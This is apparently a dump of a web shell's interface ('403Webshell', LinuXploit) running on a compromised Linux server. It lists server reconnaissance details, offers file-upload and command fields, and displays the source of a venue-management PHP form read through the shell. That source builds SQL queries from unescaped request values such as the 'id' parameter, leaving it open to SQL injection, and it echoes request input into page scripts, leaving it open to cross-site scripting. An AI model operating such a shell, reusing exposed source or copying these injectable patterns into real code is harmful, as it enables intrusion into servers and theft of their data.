403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/connections/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/connections/mod/venue_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('venues', 'basic_info', 'frm_venue');
	if ($_POST['ajax_event_submitted'] == '1') :
		form_prep_submit();
		form_validate_all();
		if (!$err_flag) :
			try {
				$db->beginTransaction();
				$set = sql_set_update() . form_generate_set();
				if ($action == 'Edit') :
					$sql = "UPDATE venues set " . $set .
						"WHERE id = " . nz(trim($_REQUEST['id']), '0') . " ";
					save_db_revision('venues');
					$db->query($sql);
					post_set_update();
				else :
					if ($action == 'Add New') :
						$sql = "INSERT INTO venues SET " .
							sql_set_create() .
							$set;
						$db->query($sql);
						$_REQUEST['id'] = last_id();
						$_POST['id'] = $_REQUEST['id'];
						post_set_create_update();
					endif;
				endif;
				$db->commit();
			} catch(Exception $e) {
				db_err_rollback($e);
			}
			form_success(['category_id' => nz($_POST['category_id'], '0')]);
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else :
		if ($action == 'Edit') :
			$sql = "SELECT * FROM venues WHERE id = " . nz(trim($_REQUEST['id']), '0') . " ";
			if (!get_row_to_post($sql)) :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
			if (!empty($_GET['category_id'])) :
				$_POST['category_id'] = $_REQUEST['category_id'];
			endif;
			$_POST['status'] = 1;
			$_POST['state'] = 'NY';
			$_POST['city'] = 'New York';
		endif;
	endif;

?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';

	update_header = function() {
		if ($("#name").val() > "") {
			$("#header_repeater").text(" - " + $("#name").val());
		}
	}

	$(document).ready(function() {
		switch_tab('<?php echo $active_tab; ?>');
		update_header();
		$(':input:not(.search)').change(function() {
			sheet_dirty = true;
		});
	})
</script>

<h1>Venue - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form name="frm_venue" id="frm_venue" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<?php
		form_tab_header('basic_info', 'Basic Info', 'admin,dataentry');
		if (!empty($_REQUEST['id'])) :
			form_tab_header('contacts', 'Contacts', 'admin,dataentry');
			form_tab_header('revisions', 'Revisions', 'admin,dataentry');
		endif;
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<?php form_tab_start('basic_info', 'Venue - Basic Info'); ?>
		<div class="input_column">
			<?php
			form_field('id', 'text', 10, 0, false, false, true, '', '', 'id', 'Venue ID');
			form_field('name', 'text', 100, 0, true, false, false, '', '', 'name', 'Name', [], '', 'update_header();');
			$sql = "SELECT id, description FROM categories WHERE active = 1 ORDER BY description ";
			$result = $db->query($sql) or die('Database Error!');
			$ar_categories = $result->fetchAll(PDO::FETCH_KEY_PAIR);
			form_field('category_id', 'select', 50, 0, true, false, false, '', '', 'category_id', 'Category', $ar_categories);
			form_field('street', 'text', 75, 0, true, false, false, '', '', 'street', 'Street');
			form_field('city', 'text', 50, 0, true, false, false, '', '', 'city', 'City');
			$sql = "SELECT state, CONCAT((CASE country_sort_code WHEN 1 THEN '' WHEN 2 THEN 'Canada - ' END), state_name) AS country_state FROM states WHERE country_sort_code IN (1,2) ORDER BY country_sort_code, state_name ";
			$result = $db->query($sql) or die('Database Error!');
			$ar_states = $result->fetchAll(PDO::FETCH_KEY_PAIR);
			form_field('state', 'select', 50, 0, true, false, false, '', '', 'state', 'State', $ar_states);
			form_field('zip', 'text', 15, 0, true, false, false, '', '', 'zip', 'Zip Code');
			$sql = "SELECT id, CONCAT(first_name, ' ', last_name) AS contact_name FROM contacts WHERE venue_id = " . nz($_REQUEST['id'], '0') . " AND status = 1 AND contact_type = 'RSRV' ORDER BY first_name, last_name ";
			$result = $db->query($sql) or die('Database Error!');
			$ar_contacts = $result->fetchAll(PDO::FETCH_KEY_PAIR);
			form_field('preferred_contact_id', 'select', 50, 0, false, false, false, '', '', 'preferred_contact_id', 'Preferred Contact', $ar_contacts);
			form_field('status', 'radiogroup', 50, 0, true, false, false, '', '', 'status', 'Status', APP_VENUE_STATUSES);
			?>
		</div>
		<div class="input_column">
			<?php
			form_field('main_phone', 'text', 100, 0, false, false, false, '', '', 'main_phone', 'Main Phone');
			form_field('website', 'text', 100, 0, false, false, false, '', '', 'website', 'Website');
			form_field('reservation_link', 'text', 200, 0, false, false, false, '', '', 'reservation_link', 'Direct Reservation Link (Resy, OpenTable, etc.)');
			form_field('comments', 'textarea', 70, 9, false, false, false, '', '', 'comments', 'Comments');
			?>
		</div>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_tab_start('contacts', 'Venue - Contacts'); ?>
		<?php
		$ix_form = 'contact_form&venue_id='.nz($_REQUEST['id'], '0');
		db_navigator_bar(['table_id' => 'db_grid_contacts', 'form' => $ix_form, 'print_section' => 'db_grid_contacts', 'call' => 'venue_contacts_ajax', 'sort_col' => '2', 'sort_order' => '0', 'subtab' => 'true', 'parm1' => " AND c.venue_id = " . nz($_REQUEST['id'], '0') . " ", 'func' => 'grid', 'filter_cols'=>'0,0,0,0,0,0,0,1,0,0']);
		?>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_tab_revisions('venues', $_REQUEST['id']); ?>
	<?php form_button_strip('bottom'); ?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit